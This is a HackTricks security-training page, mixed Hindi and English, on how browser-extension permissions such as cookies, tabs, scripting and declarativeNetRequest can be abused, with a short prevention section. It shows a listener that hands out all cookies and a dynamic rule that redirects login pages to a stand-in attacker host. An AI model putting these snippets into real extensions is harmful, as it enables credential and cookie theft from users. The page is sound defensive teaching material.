BrowExt - permissions & host_permissions

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

permissions

Permissions को extension की manifest.json फ़ाइल में permissions property का उपयोग करके परिभाषित किया जाता है और यह ब्राउज़र जो कुछ भी एक्सेस कर सकता है उसके लगभग किसी भी हिस्से तक पहुंच की अनुमति देता है (Cookies or Physical Storage):

The previous manifest declares that the extension requires the storage permission. This means that it can use the storage API to store its data persistently. Unlike cookies or localStorage APIs which give users some level of control, extension storage can normally only be cleared by uninstalling the extension.

एक extension अपने manifest.json फ़ाइल में संकेत किए गए permissions का अनुरोध करेगा और extension install करने के बाद, आप हमेशा अपने ब्राउज़र में इसके permissions जांच सकते हैं, जैसा कि इस इमेज में दिखाया गया है:

You can find the complete list of permissions a Chromium Browser Extension can request here and a complete list for Firefox extensions here.

host_permissions

वैकल्पिक लेकिन शक्तिशाली सेटिंग host_permissions यह बताती है कि extension किन hosts के साथ इस तरह के APIs के माध्यम से इंटरैक्ट कर पाएगा जैसे कि cookies, webRequest, और tabs.

The following host_permissions basically allow every web:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

ये वे hosts हैं जिन्हें ब्राउज़र एक्सटेंशन स्वतंत्र रूप से एक्सेस कर सकती है। इसका कारण यह है कि जब कोई ब्राउज़र एक्सटेंशन fetch("https://gmail.com/") कॉल करती है तो उस पर CORS द्वारा रोक लागू नहीं होती।

दुरुपयोग permissions और host_permissions

Cookies

The cookies permission एक्सटेंशन को ब्राउज़र की सभी cookies तक पहुँचने की अनुमति देता है। In this blog post इस permission का दुरुपयोग एक vulnerable backdound script के माध्यम से किया गया था, जिससे browser extension का गलत इस्तेमाल कर हमलावर को उस पीड़ित उपयोगकर्ता के ब्राउज़र की सभी cookies मिल गईं जो उस दुर्भावनापूर्ण वेब पेज पर गया था। कमजोर कोड बस सभी cookies वापस भेज रहा था:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Moreover, host_permissions also unlock “advanced” tabs API कार्यक्षमता। They allow the extension to call tabs.query() and not only get a list of user’s browser tabs back but also learn which web page (meaning address and title) is loaded.

Caution

Not only that, listeners like tabs.onUpdated और भी काफी उपयोगी हो जाते हैं। These will be notified whenever a new page loads into a tab.

Running content scripts

Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient host_permissions, extensions can also load them dynamically by calling tabs.executeScript() or scripting.executeScript().

Both APIs allow executing not merely files contained in the extensions as content scripts but also arbitrary code. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused.

Caution

In addition to the capabilities above, content scripts could for example intercept credentials as these are entered into web pages. Another classic way to abuse them is injecting advertising on each an every website. Adding scam messages to abuse credibility of news websites is also possible. Finally, they could manipulate banking websites to reroute money transfers.

Implicit privileges

Some extension privileges don’t have to be explicitly declared. One example is the tabs API: its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with.

Sounds too harmless? The tabs.create() API is somewhat less so. It can be used to create a new tab, essentially the same as window.open() which can be called by any website. Yet while window.open() is subject to the pop-up blocker, tabs.create() isn’t.

Caution

An extension can create any number of tabs whenever it wants.

If you look through possible tabs.create() parameters, you’ll also notice that its capabilities go way beyond what window.open() is allowed to control. And while Firefox doesn’t allow data: URIs to be used with this API, Chrome has no such protection. Use of such URIs on the top level has been banned due to being abused for phishing.

tabs.update() is very similar to tabs.create() but will modify an existing tab. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.

Webcam, geolocation and friends

You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). These features have considerable potential for abuse, so users each time have to confirm that they still want this.

Caution

Not so with browser extensions. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

Typically, an extension will do so immediately after being installed. Once this prompt is accepted, webcam access is possible at any time, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.

With access to your exact geographical location or contents of your clipboard, granting permission explicitly is unnecessary altogether. An extension simply adds geolocation or clipboard to the permissions entry of its manifest. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.

Adding the history keyword to the permissions entry of the extension manifest grants access to the history API. It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again.

The bookmarks permission has similar abuse potential, this one allows reading out all bookmarks via the bookmarks API.

Storage permission

The extension storage is merely a key-value collection, very similar to localStorage that any website could use. So no sensitive information should be stored here.

However, advertising companies could also abuse this storage.

More permissions

Manifest V3 split page access from API permissions: permissions still governs privileged APIs (cookies, tabs, history, scripting, etc.) while host_permissions controls which origins those APIs can touch. MV3 also made host permissions runtime‑grantable, so extensions can ship with none and pop a consent prompt later via chrome.permissions.request()—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established.

A stealthy variant is declarativeNetRequestWithHostAccess (Chrome ≥96). It provides the same request‑blocking/redirect power as declarativeNetRequest but shows a weaker install prompt than <all_urls> host permissions. Malicious extensions use it to silently get “block/redirect on any site” capability; test prompts with chrome://extensions/?errors and chrome://extensions/?id=<id>.

declarativeNetRequest dynamic rules let an extension reprogram network policy at runtime. With <all_urls> host access an attacker can weaponise it to hijack traffic or data exfil. Example:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome ने MV3 rule limits (≈330k static / 30k dynamic) बढ़ा दिए हैं, इसलिए बड़े coverage sets interception/ads injection के लिए feasible हैं।

हालिया दुरुपयोग पैटर्न

  • Supply-chain trojanized updates: चोरी किए गए डेवलपर अकाउंट MV3 अपडेट push करते हैं जो <all_urls> और declarativeNetRequest/scripting/webRequest जोड़कर remote JS inject करते हैं और headers/DOM content siphon करते हैं।
  • Wallet drains: Host access के साथ storage और tabs backdoored wallet extensions को seeds exfiltrate करने की अनुमति देते हैं; चोरी हुए Web Store API keys का उपयोग malicious builds भेजने के लिए किया गया है।
  • Cookie theft: ऐसी कोई भी extension जिसमें cookies और व्यापक host access हो, HttpOnly के बावजूद auth cookies पढ़ सकती है — इस संयोजन को credential-stealing सक्षम माना जाना चाहिए।

रोकथाम

Google के developer नीति स्पष्ट रूप से extensions को उनकी functionality के लिए आवश्यक से अधिक privileges request करने से मना करती है, जिससे excessive permission requests प्रभावी रूप से कम होते हैं। एक उदाहरण जहाँ एक browser extension ने इस सीमा को पार किया था, वह उस extension का ब्राउज़र के साथ स्वयं वितरित होना था, न कि किसी add-on store के माध्यम से।

ब्राउज़र extension privileges के दुरुपयोग को और सीमित कर सकते हैं। उदाहरण के लिए, Chrome के tabCapture और desktopCapture APIs, जो screen recording के लिए उपयोग होते हैं, दुरुपयोग को कम करने के लिए डिज़ाइन किए गए हैं। tabCapture API केवल सीधे user interaction से सक्रिय किया जा सकता है, जैसे extension icon पर क्लिक करना, जबकि desktopCapture के लिए रिकॉर्ड की जाने वाली विंडो पर user confirmation आवश्यक होता है, जिससे गुप्त रिकॉर्डिंग गतिविधियाँ रोकी जा सकती हैं।

हालाँकि, security measures को कड़ा करने से अक्सर extensions की flexibility और user-friendliness घट जाती है। activeTab permission इस trade-off को दर्शाता है। इसे इस तरह पेश किया गया था कि extensions को पूरे इंटरनेट पर host privileges माँगने की आवश्यकता समाप्त हो जाएँ, और extensions को केवल user की explicit activation पर वर्तमान tab तक पहुंच मिले। यह मॉडल उन extensions के लिए प्रभावी है जिन्हें user-initiated actions की आवश्यकता होती है, लेकिन उन extensions के लिए यह कम पड़ता है जिन्हें automatic या pre-emptive actions की आवश्यकता होती है, जिससे सुविधा और तात्कालिक प्रतिक्रिया प्रभावित होती है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें